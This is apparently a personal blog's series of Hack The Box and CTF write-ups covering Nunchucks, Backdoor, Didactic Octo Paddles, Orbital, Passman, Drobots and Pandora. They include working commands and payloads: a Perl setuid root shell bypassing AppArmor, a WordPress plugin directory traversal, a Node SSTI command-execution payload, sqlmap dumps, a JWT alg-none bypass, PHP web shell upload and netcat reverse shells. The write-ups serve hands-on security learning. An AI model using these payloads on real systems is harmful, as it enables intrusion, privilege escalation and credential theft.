We can see that the script is owned by root but from peaking inside the script we can see that it is using ‘POSIX::setuid(0);’ so that it runs as root even when a different user runs it. I’m struggling to do the mental acrobatics to work this out. The file is owned by root but can be executed by anybody. However, due to the ‘setuid’ line in the script, it will run with root privileges. This is a clever way of hiding the file from automated tools like LinPEAS and I hate you. Of course, we can’t edit this script to add our own command to it to elevate our privileges.

backup.pl setuid

This next step shows how big of a security hole the SETUID capabilities on the Perl binary are even though it’s restricted with AppArmor. This bug >>HERE<< explains that if a script has a shebang to the binary in question, it doesn’t get given the restrictions imposed by the AppArmour profile. That’s quite a significant bug and we can use it to elevate ourselves to ‘root’ and finally capture the root flag. You can see the exploit below.

[email protected]:~$ vim whoops.pl
[email protected]:~$ cat whoops.pl
use POSIX qw(setuid);
exec "/bin/bash";
[email protected]:~$ chmod +x whoops.pl 
[email protected]:~$ ./whoops.pl
[email protected]:~# cat /root/root.txt

Nunchucks Learnings

I’m glad I’ve finished this box. For me, this box was hard to complete and I wouldn’t have been able to do it without the walkthrough. Admittedly, I almost gave up when trying to get a foothold but persistence eventually paid off. Unfortunately, I still don’t understand what I was doing wrong but I got there in the end. I tend to struggle when getting reverse shells through Burp and it’s something I need to work on.

The privilege escalation hammered home that automated tools won’t always tell you what you need to do. I don’t think I would have worked it out. In fact, I probably would have kept trying GTFO bins but eventually gave up. This box is a great example of thinking outside of the box/binary. It also highlighted how big the gaps in my knowledge are and has left me questioning my own capabilities. Until next time!

Hack The Box Backdoor Writeup

Backdoor is an easy Linux box created by hkabubaker17 on Hack The Back and I’m going to hack it. Hello world, welcome to Haxez where today I will be sneaking in through the backdoor and stealing all the flags. Backdoors used to be a thing and weren’t just a Hollywood cliche put into cheesy hacker films. Backdoors were used by programmers or hackers to access systems or elevate their privileges at a later date.

Backdoor Enumeration

I’m going to try to steer clear of bad jokes and avoid using puns in this write-up. First, I pinged the box to see if it was online and then ran a Nmap scan targeting all ports and checking for service versions. As a result, we can see that port 22 for SSH and port 80 for HTTP were open. Furthermore, we can see that this is likely an ubuntu box running Apache with a WordPress content management system. Finally, we see port 1337 with not a lot of information.

└─$ sudo nmap -sC -sV -p- -oA backdoor
Hack The Box Backdoor scan

Exploring The Backdoor Application

I did a quick netcat connection to port 1337 but didn’t get anything back. For that reason, I’m going to go look at the application instead. As you can see below, it is using WordPress and a default WordPress theme. If we hover over the home link we can see that the domain name for the application is backdoor.htb.

Backdoor WordPress

Adding that name to our host file and specifying the IP address will let us view the application via the domain.

└─$ sudo echo " backdoor.htb" | sudo tee -a /etc/hosts            

Backdoor WordPress Plugins

I ran an API WPScan against the target and it found a lot of vulnerabilities that we could use to exploit this box. However, none of those vulnerabilities was the intended method of compromising this box. The method of exploiting this box is supposed to be through a plugin called ‘ebook-download’. However, WPScan didn’t identify any plugins. Therefore, I navigated to the ‘/wp-content/plugins’ directory and as shown below it allowed me to list out the contents of the directory and find the vulnerable plugin.

Backdoor WordPress Plugins Directory

Open directory listing feels like I’ve been fighting a robot and managed to damage it enough to see some of its internal circuits. That’s not relevant at all but I just thought I’d tell you. I need to make a retraction here, WPScan did find the plugin and reported the vulnerability but only when using aggressive mode. I didn’t know aggressive mode existed so I still wouldn’t have found it.

WPScan aggressive mode

Ebook-Download Directory Traversal

As WPScan didn’t find this plugin, I’m not sure I would have either. A standard file and directory brute-forcing tool would have found it but I don’t know if I would have seen it as an attack vector. After discovering the plugin, I googled it and found a directory traversal vulnerability. You can find the vulnerability >>HERE<< on Exploit DB. Navigating to the URL will automatically download the WordPress configuration file or you can use wget. From the file, we’re able to identify the database user ‘wordpressuser’ and password ‘MQYBJSaD#DxG6qbm’ I presume we can log in as admin with this password and upload a shell.

└─$ wget http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php

Deeper Down The Rabbit Hole

It wasn’t possible to log in with that password as the ‘Admin’ user. However, we can still enumerate the system with the directory traversal vulnerability. Despite getting this far, I doubt I would have made it any further without a walkthrough. Do you ever watch an IppSec video and contemplate whether you’re smart enough to be a penetration tester? I do. Some of the techniques he uses completely blow my mind. I understand them but I never would have thought of them. The command below uses the directory traversal vulnerability to steal information from all the system processes.

└─$ for i in $(seq 0 1000); do curl http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/$i/cmdline --output - | cut -d'/' -f 8- | sed 's/<script.*//g' > $i; done

Next, we can use the find command to go through all the files bigger than a specific size and cat the output of those files.

└─$ for i in $(find . -type f -size +20c); do cat $i | sed 's/cmdline/\t/g'; done
Steal and cat process via backdoor

Try The Backdoor

if I were gonna hack some heavy metal, I’d, uh, work my way back through some low security, and try the back door.

Looking through the process list we can see that ‘gsbserver’ is the service that was listening on port 1337. GDBserver is a program that allows a remote machine to debug another machine’s programs using the GNU Debugger (GDB). It provides a way for developers to debug programs on a target system that may not have enough resources to run the full GDB. GDBserver runs on the target machine and communicates with GDB on the host machine over a network connection. It allows developers to set breakpoints, examine variables, and step through code as if they were running the debugger locally. GDBserver is commonly used in embedded systems and other scenarios where the target system has limited resources or does not have a graphical interface. Metasploit has an exploit module for gdbserver.

Metasploit GDBServer Meterpreter Shell

The exploit completes and we have a shell. From here we can capture the user flag.

meterpreter > shell
Process 21916 created.
Channel 1 created.
cat user.txt

Back To Enumeration

I span up a Python webserver and downloaded LinPEAS onto the target. Below, you can see the output which shows the yellow and red highlighted privilege escalation vectors. It shows 2 CVE’s which I believe to be ‘pkexec’ and ‘polkit’. However, I don’t think these are the intended paths to root. Looking a bit deeper we can see that there is a ‘screen’ session running as run. If we can connect to that then we would be root and own the system.

Backdoor Linpeas

Privilege Escalation

This is a fairly trivial privilege escalation provided you found the ‘screen’ process. We can confirm the session by listing out the screen sessions.

[email protected]:~$ screen -ls root/                                                                                                                                                           
screen -ls root/                                                                                                                                                                            
There is a suitable screen on:                                                                                                                                                              
        1006.root       (03/25/23 08:00:29)     (Multi, detached)                                                                                                                           
1 Socket in /run/screen/S-root.                                                                                                                                                             

You can then resume the session with the ‘-r’ argument and the name of the session.

[email protected]:~$ screen -r root/

Finally, we can now capture the root flag.

[email protected]:~# cat root.txt
cat root.txt

Backdoor Lessons

By completing the Backdoor vulnerable Linux box I learnt a few new tricks. First was the WordPress Ebook plugin directory traversal vulnerability. Additionally, I learnt that a lot of WordPress installations have a directory listing in their plugins directory due to a missing index page. The trick to steal the process information to identify what was listening on port 1337 was a great techqniue. Furthermore, I didn’t know GDBServer was a thing. Sure I know about GDB and have used it a few times but I digress. This was a fun box and I learnt some new techniques which I will hopefully retain.

Hack The Box Cyber Apocalypse Didactic Octo Paddles

Didactic Octo Paddles was the sith web challenge from the Hack The Box Cyber Apocalypse Capture The Flag competition. It was also the bane of my existence and my worst enemy. Hello world, welcome to Haxez where today I will be explaining how I eventually hacked Didactic Octo Paddles. All the challenges had a description fitting the theme of the CTF and this one was no different.

You have been hired by the Intergalactic Ministry of Spies to retrieve a powerful relic that is believed to be hidden within the small paddle shop, by the river. You must hack into the paddle shop’s system to obtain information on the relic’s location. Your ultimate challenge is to shut down the parasitic alien vessels and save humanity from certain destruction by retrieving the relic hidden within the Didactic Octo Paddles shop.

Application Adventure

This application broke me for all the wrong reasons. It was a great challenge and I learnt a lot from it but tiny mistakes made me waste so much time. Anyway upon navigating to the application, I was greeted with a purple login page. There was no apparent option to register so I immediately thought it was SQL injection again. It wasn’t

Application Adventure Didactic Octo Paddles

Blasting Didactic Octo Paddles

Using my new favourite web application file and directory discovery tool Ferric Oxide, I was able to discover a few endpoints. As you can see from the screenshot below there were endpoints for registration, administration and authentication. I guess the way in wasn’t via SQL injection after all. With this new knowledge, I headed to the registration section and registered a new user.

Ferric Oxide

Didactic Octo Paddles Store

Upon registering and logging in I was met with a store page. I had a lot of fun wasting my time with this functionality. Initially, I thought I was being clever by changing the number of the item that you add to the cart. I thought I was clever by doing a lot of things. None of them made a difference. The objective of this challenge was to gain access to the admin area at ‘/admin’.

Didactic Octo Paddles

Cookies, Cookies, Cookies

After digging around the application a bit more and identifying the frameworks, I started learning about JWT tokens. I haven’t done much with them before as I don’t test many web applications. I then started playing with the JWT token with JWT_Tool. Unfortunately, I have a lot to learn with this tool and at the time I was tired so decided just to use Burp.


You can see from the screenshot below that I used the Burp extension JSON Web Tokens to set the “alg” to none and the “id” to 1. I then sent the request to the admin endpoint and I was authenticated. It’s a shame that I couldn’t get this to work with JWT_Tool. I could go through and manually change the values but I wanted it to catch the successful authentication through automated testing.

Server Side Template Injection

Hold on, we aren’t finished yet. We have access to the admin portal but no flag. However, the admin portal has a list of active users. I could walk you through the various stages of identifying SSTI such as creating a user with ‘{{ 2 * 404 }}’ in order to get Bob but let’s get on it. First, I went to HackTricks and search for SSTI and found the Node JS Render payloads. Next, I modified their payload to cat the flag.txt file.

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat flag.txt').toString()")()}}

Finally, I registered a user with the above payload for their username and a standard string for their password. I then went back to burp and resent the request with the modified JWT token and as you can see below, we got the flag.

Flag Captured

Didactic Octo Paddles Review

Looking back, I think this was a fairly simple challenge. However, this challenge absolutely broke me. I was up until the early hours of the morning trying to work this challenge out. This was entirely due to my lack of knowledge of JWT tokens and their quirks. I learnt a lot from it and now I want to master the JWT_Tool and Cookie-Monster tools. I’m starting to like working with parts of the MEAN stack. I’ve mostly only learnt about and tested LAMP-based applications so this is a whole new world for me to explore. Anyway, this is as far as I got with the web challenges. I completed some other challenges but I don’t know if I’m going to write those up.

Hack The Box Cyber Apocalypse Orbital

Orbital was the 5th web challenge from the Hack The Box Cyber Apocalypse Capture The Flag competition. Hello world, welcome to Haxez where I will be explaining how I hacked the Orbital web challenge during Cyber Apocalypse. The description for this challenge was as follows.

In order to decipher the alien communication that held the key to their location, she needed access to a decoder with advanced capabilities – a decoder that only The Orbital firm possessed. Can you get your hands on the decoder?

Walking Orbital

The Orbital web application reminded me of the Drobot application. While very pretty, there wasn’t much to it. Upon landing on the application, I was presented with a login page. However, we had no option to register. I ran some tools against the application to discover what type of stack we were looking at. I also attempted to discover content but didn’t find much.

Orbital Login page

Expect To Inject

With little to work with in terms of an attack surface, I attempted to log in with dummy credentials. I found the post request in Burp and saved the request to a file. I then fed the request to SQLMap which identified it as a MySQL Database Management System. Furthermore, it found three databases. There was a Test database, the Information Schema and the Orbital database. Needless to say, I went through the motions of identifying the tables and then proceeded to dump the contents of the user table. SQLMap successfully cracked the admin password too (ichliebedich).

└─$ sudo sqlmap -r request -D orbital -T users --dump

Authenticated Orbital Strike

With the admin username and password, I logged in to the application and was presented with some statistics. I played around with this page for a while as there is an export option at the bottom which lets the user export files. I initially tried to intercept this request and change the name of the file to flag.txt. Unfortunately, that didn’t work so it was time to look at the downloadable files.

Thats Cheating

It turns out my instincts were correct. In order to capture the flag you need to intercept the export request and change the filename. However, the creator of this challenge renamed the flag. Granted, they were kind enough to give us the files so that we could learn what the flag was called but come on! I almost had it without checking. Anyway, the filename was signal_sleuth_firmware and could be accessed by performing a directory traversal via the export function.



Orbital Review

This was a fun and fairly simple box. It was nice to have multiple stages in order to capture the flag. Most of the challenges until now have been one exploit to get the flag. Whereas we needed to break through the authentication and then perform the directory traversal or local file inclusion. I enjoyed it.

Hack The Box Cyber Apocalypse Passman

Passman was the fourth web challenge from the Hack The Box Cyber Apocalypse Capture The Flag competition. Hello world, welcome to haxez where today I will be explaining how I hacked the Passman challenge during Cyber Apocalypse 2023. This challenge like all the other challenges had a description which went as follows.

Pandora discovered the presence of a mole within the ministry. To proceed with caution, she must obtain the master control password for the ministry, which is stored in a password manager. Can you hack into the password manager?

Enumerating The Passman Application

Upon browsing to the application I was presented with a login page. I attempted to use common credentials like ‘admin:admin’ and ‘admin:password’ but was unsuccessful. Fortunately, the application did offer a registration form.

Passman Application

After registering a new user for the application and logging in, I was greeted with a web-based password manager. Therefore, I started poking at the add password functionality. There were a number of forms for the user to fill out but upon clicking save, it would save the record to your account.


Admittedly, I wasn’t familiar with the technology that needed to be exploited to solve the challenge. This took me down a lot of pathways for long periods of time without getting anywhere. I tried performing SQL injections, Server Side Template Injections, Cross Site Scripting, XML Entity Injection but couldn’t make any progress. It was then that I noticed Graphql in the sitemap in Burp. I have never used Graphql before so I needed to bring myself up to speed quickly.

Passman Password Manager

GraphQL Playground

I played around with GraphQL queries for a bit thinking I could perform a query to get the admin password. I failed miserably but then I stumbled upon IppSec’s Cereal video which helped me to understand GraphQL in more detail. Also, GraphQL Playground allowed me to identify mutations that I didn’t know existed. I tried to construct the payload manually using GraphQL playground but I couldn’t get the structure right. I was past tired by this point and just wanted to solve the challenge.

Back To Burp

It dawned on me that the correct syntax for mutations was sitting in my Burp history. I grabbed the registered user POST request and sent it to the repeater. I then modified the mutation to update the admin username and password to ‘admin:admin’. Unfortunately, the first time I sent this request it came back with an error saying I wasn’t authenticated. However, I used my cookie from an authenticated session to send the request again and it worked.

Capturing The Flag

I was then able to log in to the application as the admin user and capture the flag. The flag was just sitting there as a password entry waiting for me to steal it.

Flag captured

Passman Review

A lot of people would have seen this challenge and blasted through it with ease. Looking back on the challenge it does seem easy but things always do once you’ve done them. I struggled with this one for far longer than I care to admit or remember. However, once I finally captured the flag I felt amazing. I’d actually used my brain and solved a challenge and had a feeling of accomplishment. Thank you to whoever made this challenge, you took me on a journey of self-discovery.

Hack The Box Cyber Apocalypse Drobots

Drobots was the third web challenge from the Hack The Box Cyber Apocalypse Capture The Flag competition. Hello world, welcome to haxez where in this post I will write up how I hacked Drobots. Like all the CTF challenges, Drobots had a description which read as follows.

Pandora’s latest mission as part of her reconnaissance training is to infiltrate the Drobots firm that was suspected of engaging in illegal activities. Can you help pandora with this task?

The Drobots Application

First, I loaded the application and was greeted with a login page. Unfortunately, there wasn’t much more to the application than that. I ran a few tools against it to try to identify any hidden areas and what technologies were being used.

Drobots application login

Below, you can see the output of the tool Whatweb which can be used to identify the technology stack. For example, it was able to identify that the web application was utilising HTML5, Python, and Jquery. That gave us an idea of what exploits we could try.

└─$ sudo whatweb                                      [200 OK] Bootstrap, Country[UNITED STATES][US], HTML5, HTTPServer[Werkzeug/2.2.3 Python/3.8.16], IP[], JQuery, PasswordField, Python[3.8.16], Script, Title[Drobots], Werkzeug[2.2.3]

I also ran Ferric Oxide which I hadn’t used before. I’m definitely going to be adding it to my list of essential tools just for the easy Burp integration. Unfortunately, it didn’t find much but look how great the output is.

Ferric Oxide

SQL Injection

I already had a good idea of what this challenge wanted us to do. To clarify, the only page we could find was a login page. It was highly likely that this was an SQL injection challenge. In order to test for SQL injection, I captured a login request with Burp and saved that request to a file. Next, I used SQL map with the ‘-r’ argument to specify the flag.

└─$ sudo sqlmap -r request --dbs
SQL Injection Databases

SQLMap was able to identify the database names and that one of the databases was named ‘drobots’. So the next step was to get the tables from this database. As you can see from the output below, there was only one table called users. I then asked SQLMap to dump the contents of the user’s table.

└─$ sudo sqlmap -r request -D drobots -T users --dump

Drobots Application Access

The next step in the challenge was actually quite funny and stopped me in my tracks for a bit. SQLMap automatically attempted to crack the Admin user’s “hash” but was unsuccessful. Furthermore, submitting the “hash” to crackstation.net or trying to crack it myself was unsuccessful. Yes, I have put the word hash in quotes because it wasn’t a hash at all.

Admin password hash

In fact, it was the admin user’s password. Unencrypted or encoded, just sat there waiting for anybody to steal it. I was able to login with the username admin and the string retrieved from the SQL injection. Upon logging in to the application, the flag was right there at the top of the table.

Application Access

Drobots Review

This was a fun application that reinforced SQL injections skills and got you to think slightly outside of the box. The password trick was a bit mean and I guarantee it was 100% intended. I’m sure there were many people it didn’t fool but I’m sure a lot of people got stuck at this stage for a while. Anyway, I enjoyed this challenge.

Hack The Box Pandora Writeup

Pandora is an easy retired box created by TheCyberGeek and dmw0ng from Hack The Box. Hello world, welcome to Haxez where today we’re looking at Pandora. I don’t know much about this machine other than it’s a Linux box, so let’s get cracking. For those who accidentally stumbled upon this writeup looking for the CTF writeup, I’m sorry. I’m going through all the easy boxes and this was the next one alphabetically.

Enumerating Pandora

After pinging the box to ensure that it was online, I ran a Nmap scan to enumerate all ports. As shown below, Pandora had ports 22 for SSH and 80 for HTTP open. Furthermore, the responses indicate that it is an Ubuntu-based box.

└─$ sudo nmap -sC -sV -p- -oA pandora
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-24 07:39 GMT
Nmap scan report for
Host is up (0.015s latency).
Not shown: 65533 closed tcp ports (reset)
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 24c295a5c30b3ff3173c68d7af2b5338 (RSA)
|   256 b1417799469a6c5dd2982fc0329ace03 (ECDSA)
|_  256 e736433ba9478a190158b2bc89f65108 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Play | Landing
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.14 seconds

Enumerating Pandora Website

We all know that it’s unlikely to be an SSH attack so let’s go take a look at the web application. I popped the IP address in my browser and the page loaded. As shown below, the application appears to be for a network monitoring service.

Pandora Web Page

However, we do notice a domain of ‘panda.htb’ on the front page. Let’s add that to our host file and see if we get a different page.

└─$ sudo echo "     panda.htb" | sudo tee -a /etc/hosts     panda.htb
└─$ cat /etc/hosts       localhost       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters  office.paper  chat.office.paper     panda.htb

Unfortunately, the website doesn’t change when visiting the domain name. Furthermore, there isn’t a lot on the web page for us to target. There is a contact form but that doesn’t appear to allow us to do much. Perhaps we missed something on our initial port scan.

Back To Enumerating

As we haven’t found much on the web, let’s run another port scan but this time we will target UDP. Initially, we only performed a TCP scan as UDP tends to take a long time to enumerate. UDP is stateless which means we don’t SYN SYN ACK ACK with it. Instead, we just blast it with data and hope it gets the message. As you can imagine, that means it’s difficult to identify open ports. Anyway, we discovered that port 161 for SNMP is open.

└─$ sudo nmap -sU --min-rate 1000 -T4 -oA pandora-udp 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-24 07:56 GMT
Nmap scan report for panda.htb (
Host is up (0.012s latency).
Not shown: 989 open|filtered udp ports (no-response)
161/udp   open   snmp
1031/udp  closed iad2
1044/udp  closed dcutility
1080/udp  closed socks
16739/udp closed unknown
19600/udp closed unknown
20380/udp closed unknown
31337/udp closed BackOrifice
34580/udp closed unknown
49172/udp closed unknown
51554/udp closed unknown
Nmap done: 1 IP address (1 host up) scanned in 5.29 seconds

Enumerating Pandora SNMP

I’m not being very creative with the titles this morning but let’s go and enumerate SNMP. SNMP is a service that allows for network monitoring. It also has well-known passwords or strings. Furthermore, it is quite common that these default strings are left in place. We can try to perform an SNMP walk against the host to view the data. However, there is a couple of things we should do first like installing ‘snmp-mibs-downloader’

└─$ sudo apt install snmp-mibs-downloader

Once installed, head to your SNMP configuration in ‘/etc/snmp/snmp.conf’ and comment out the ‘mibs’ line.

Pandora SNMP

Next, we can run ‘snmpbulkwalk’ which is faster than the traditional ‘snmpwalk’ tool. I’ve snipped the output but below but you can see the command I ran, which I stole from IppSec’s video.

└─$ snmpbulkwalk -Cr1000 -c public -v2c . | tee -a snmp3
SNMPv2-MIB::sysDescr.0 = STRING: Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64
SNMPv2-MIB::sysObjectID.0 = OID: NET-SNMP-MIB::netSnmpAgentOIDs.10
DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (244685) 0:40:46.85
SNMPv2-MIB::sysContact.0 = STRING: Daniel
SNMPv2-MIB::sysName.0 = STRING: pandora
SNMPv2-MIB::sysLocation.0 = STRING: Mississippi
SNMPv2-MIB::sysServices.0 = INTEGER: 72

Sorting SNMP Output

Attempting to sort this myself without watching a video was a futile effort. First, I didn’t really know what I was looking for. Additionally, my grep-fu is nowhere near as strong as IppSec’s. I definitely need to take my ass over to OverTheWire and brush up on a few things. Who has the time though when I have all these boxes to hack? Anyway, you can see the grep sort command below.

└─$ grep -oP '::.*?\.' snmp3 | sort | uniq -c | sort -n
    201 ::hrSWRunID.
    201 ::hrSWRunIndex.
    201 ::hrSWRunName.
    201 ::hrSWRunParameters.
    201 ::hrSWRunPath.
    201 ::hrSWRunPerfCPU.
    201 ::hrSWRunPerfMem.
    201 ::hrSWRunStatus.
    201 ::hrSWRunType.
    396 ::nsModuleModes.
    396 ::nsModuleName.
    396 ::nsModuleTimeout.
    820 ::hrSWInstalledDate.
    820 ::hrSWInstalledID.
    820 ::hrSWInstalledIndex.
    820 ::hrSWInstalledName.
    820 ::hrSWInstalledType.

This allows us to show the SNMP names in order of their reoccurrence. I wasn’t too sure what I was supposed to be looking at here but apparently, it was the ‘hrSWRun’. We can use the grep and ‘less’ tools to filter the output. Also, here are some useful ‘less’ commands from StackExchange.

less commands

By using grep to search for ‘hrSWRun’ and piping it to less we can scroll through the output. Or we can repeatedly hit ‘d’ to jump half a page which makes it faster. Eventually, we find ‘hrSWRunParameters’ which has some interesting information. It seems the user daniel is running a script called ‘host_check’ and was kind enough to leave their credentials behind.

└─$ grep hrSWRun snmp3| less
HOST-RESOURCES-MIB::hrSWRunParameters.963 = STRING: "-f"
HOST-RESOURCES-MIB::hrSWRunParameters.972 = STRING: "-f"
HOST-RESOURCES-MIB::hrSWRunParameters.974 = STRING: "-f"
HOST-RESOURCES-MIB::hrSWRunParameters.975 = STRING: "-LOw -u Debian-snmp -g Debian-snmp -I -smux mteTrigger mteTriggerConf -f -p /run/snmpd.pid"
HOST-RESOURCES-MIB::hrSWRunParameters.976 = STRING: "-c sleep 30; /bin/bash -c '/usr/bin/host_check -u daniel -p HotelBabylon23'"
HOST-RESOURCES-MIB::hrSWRunParameters.978 = ""
HOST-RESOURCES-MIB::hrSWRunParameters.1011 = STRING: "-o -p -- \\u --noclear tty1 linux"
HOST-RESOURCES-MIB::hrSWRunParameters.1027 = STRING: "-k start

Pandora Foothold

Now that we have some credentials, we can try to SSH to the box. Success, we’re able to access the box with those credentials. Unfortunately, it seems that daniel has nothing in his home directory, not even a user flag. It looks like that’s in matt’s home directory so we’re going to have to find a way to his user or to root but at least we have a foothold.

└─$ ssh [email protected]                                          
[email protected]:~$ ls /home/daniel
[email protected]:~$ 
[email protected]:~$ ls /home/matt

Authenticated Pandora Enumeration

I span up a Python webserver and used it to transfer LinPEAS to the box. Running it as the daniel user I saw that there are two CVEs that will potentially allow us to escalate our privileges to root. However, I think these are unintended methods of privilege escalation. I have this ultimate power in my grasp but I’m not going to use it. Let’s try and stick to the intended path.

Pandora Linpeas

Moving on, we can see that there is another domain within the apache2 pandora configuration file. The name of the site is ‘pandora.panda.htb’. We can add that host to our host file but visiting it just loads the existing page as this host is only listening on localhost.

Pandora apache configuration

Pandora Port Forwarding

We know that we have a hidden web application listening on localhost on port 80. In order to access that host we need to forward port 80 on the target to our host on a different port. This can be done through ssh by issuing the following command.

└─$ ssh -L localhost:8000:localhost:80 [email protected]
[email protected]'s password: 

Then when we visit localhost 8000 in our browser, we get access to the hidden website.

Hidden website

I tried default credentials and credential reuse on daniel but I was unable to log in. Using searchsploit to search for vulnerabilities doesn’t find much. However, there appears to be an SQL injection vulnerability which is explained at the following URL https://www.sonarsource.com/blog/pandora-fms-742-critical-code-vulnerabilities-explained/

SQL injection.

This SQL injection is present because the SQL statement doesn’t use prepared statements as you can see below. Normally, you would use a question mark in place of the parameters. It’s probably best to go and read about prepared statements elsewhere as I will do a terrible job of explaining them.

Let’s capture a request ‘/pandora_console/include/chart_generator.php?session_id=1’ with Burp and then save that request to a file.

Pandora SQL injection

We can then use SQLMap against the request and try to identify the SQL injection.

SQL Injection

As shown in the output below, SQLMap has identified a number of SQL injection vulnerabilities in the session_id parameter.

└─$ sudo sqlmap -r pand.req        
[sudo] password for kali: 
 ___ ___[.]_____ ___ ___  {1.7.2#stable}
|_ -| . [,]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

sqlmap identified the following injection point(s) with a total of 251 HTTP(s) requests:
Parameter: session_id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: session_id=-4413' OR 8445=8445#

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: session_id=1' OR (SELECT 4708 FROM(SELECT COUNT(*),CONCAT(0x717a716a71,(SELECT (ELT(4708=4708,1))),0x7176767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- tRCY

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: session_id=1' AND (SELECT 7661 FROM (SELECT(SLEEP(5)))msho)-- jpVE

Now that we have confirmed SQL injection, let’s quickly go through enumerating the database, tables, and columns and eventually dumping the data. First, we start with the database names.

└─$ sudo sqlmap -r pand.req --batch -dbs               
 ___ ___["]_____ ___ ___  {1.7.2#stable}                                                                                                                     
|_ -| . ["]     | .'| . |                                                                                                                                    
|___|_  [)]_|_|_|__,|  _|                                                                                                                                    
      |_|V...       |_|   https://sqlmap.org  
available databases [2]:
[*] information_schema
[*] pandora

Now that we have the database names, we can grab the table names from the database.

└─$ sudo sqlmap -r pand.req --batch -D pandora --tables
 ___ ___[(]_____ ___ ___  {1.7.2#stable}                                                                                                                     
|_ -| . [,]     | .'| . |                                                                                                                                    
|___|_  ["]_|_|_|__,|  _|                                                                                                                                    
      |_|V...       |_|   https://sqlmap.org
Database: pandora
[178 tables]
Pandora Database Tables

Ok, we now have the table names and I believe the table we need to look at is the ‘tsuario’ so let’s dump the column. I’ve snipped the output a bit to make it smaller but it looks like we have a lot of columns here.

└─$ sudo sqlmap -r pand.req --batch -D pandora -T tusuario --columns
 ___ ___[,]_____ ___ ___  {1.7.2#stable}                                                                                                                     
|_ -| . [,]     | .'| . |                                                                                                                                    
|___|_  [(]_|_|_|__,|  _|                                                                                                                                    
      |_|V...       |_|   https://sqlmap.org
Database: pandora
Table: tusuario
tusuario users table

Let’s just dump the table and take a look at the output.

└─$ sudo sqlmap -r pand.req --batch -D pandora -T tusuario --dump   
 ___ ___[']_____ ___ ___  {1.7.2#stable}                                                                                                                     
|_ -| . [.]     | .'| . |                                                                                                                                    
|___|_  [']_|_|_|__,|  _|                                                                                                                                    
      |_|V...       |_|   https://sqlmap.org 
Database: pandora
Table: tusuario
[3 entries]
[09:50:36] [INFO] table 'pandora.tusuario' dumped to CSV file '/root/.local/share/sqlmap/output/localhost/dump/pandora/tusuario.csv'
[09:50:36] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/localhost'

The output is an absolute mess but fortunately, it saved it to a CSV file for us. Let’s go take a look at it.

Pandora Table dump

Unfortunately, none of the users was an ‘admin’ user. We could try and crack matt’s password but let’s try and steal the admin user’s session instead.

Stealing and Creating Sessions

Let’s head to the sessions table and dump the contents of that. Perhaps the admin user has an active session that we can steal. We would do this by stealing the value of the id_session and creating a cookie for it with that value.

└─$ sudo sqlmap -r pand.req --batch -D pandora -T tsessions_php --dump                                                    
 ___ ___[']_____ ___ ___  {1.7.2#stable}                                                                                                                     
|_ -| . [.]     | .'| . |                                                                                                                                    
|___|_  [)]_|_|_|__,|  _|                                                                                                                                    
      |_|V...       |_|   https://sqlmap.org
Database: pandora
Table: tsessions_php                             
Pandora Sessions table

Unfortunately, it seems that there are no admin sessions. Time to see what the pros did in order to get passed this part. I understand what the SQL injection is doing but I don’t understand why this works. Since there was no admin session in this table, how were we able to steal it and log in? I think that it’s bypassing the logic of the session check. I don’t have the answer but anyway, the URL below will grant us access.


Next, open a new tab and visit the application and we will be logged in as admin.

Pandora Admin Access

Catching Shells

Now we need to get a reverse shell as this user so that we have higher privileges on the server than daniel. First, create a PHP file with a command shell. Then we can use the file manager upload feature to load the shell.

File upload

Fortunately, there appears to be no validation on the things we upload. The file was uploaded successfully so we should now be able to pass arguments to that PHP shell in order to catch a reverse shell. First, let’s test whether our shell is working by finding out who we are.

php shell, id command

Let’s use this to get ourselves a reverse shell. First, grab the ‘cmd=id’ request in Burp and send it to Repeater. Next, change the request method so that it is a POST request instead of a GET request. You can now use this method to set up your reverse shell and get access to the box. I was following along with IppSec but for some reason, it didn’t like the way he was doing it. So instead, I created a script called ‘rev.sh’ and used wget to download it.

Pandora rev.sh

I then used ‘chmod +x rev.sh’ to make it executable. Please note, I had to URL encode that request as it didn’t work without doing so. I then used ‘bash ./rev.sh’ to execute it and get a reverse shell. This too had to be URL encoded for it to work.

Burp reverse shell

We now have access to the box as matt and we have our user flag.

└─$ sudo nc -lvnp 9001
listening on [any] 9001 ...
connect to [] from (UNKNOWN) [] 43908
bash: cannot set terminal process group (1027): Inappropriate ioctl for device
bash: no job control in this shell
[email protected]:/var/www/pandora/pandora_console/images$ whoami
[email protected]:/var/www/pandora/pandora_console/images$ cat /home/matt/user.txt
cat /home/matt/user.txt

Further Pandora Enumeration

First things first, Let’s make our shell better.

[email protected]:/var/www/pandora/pandora_console/images$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<ges$ python3 -c 'import pty;pty.spawn("/bin/bash")'  
[email protected]:/var/www/pandora/pandora_console/images$ ^Z
zsh: suspended  sudo nc -lvnp 9001
└─$ stty raw -echo; fg
[1]  + continued  sudo nc -lvnp 9001
[email protected]:/var/www/pandora/pandora_console/images$ 

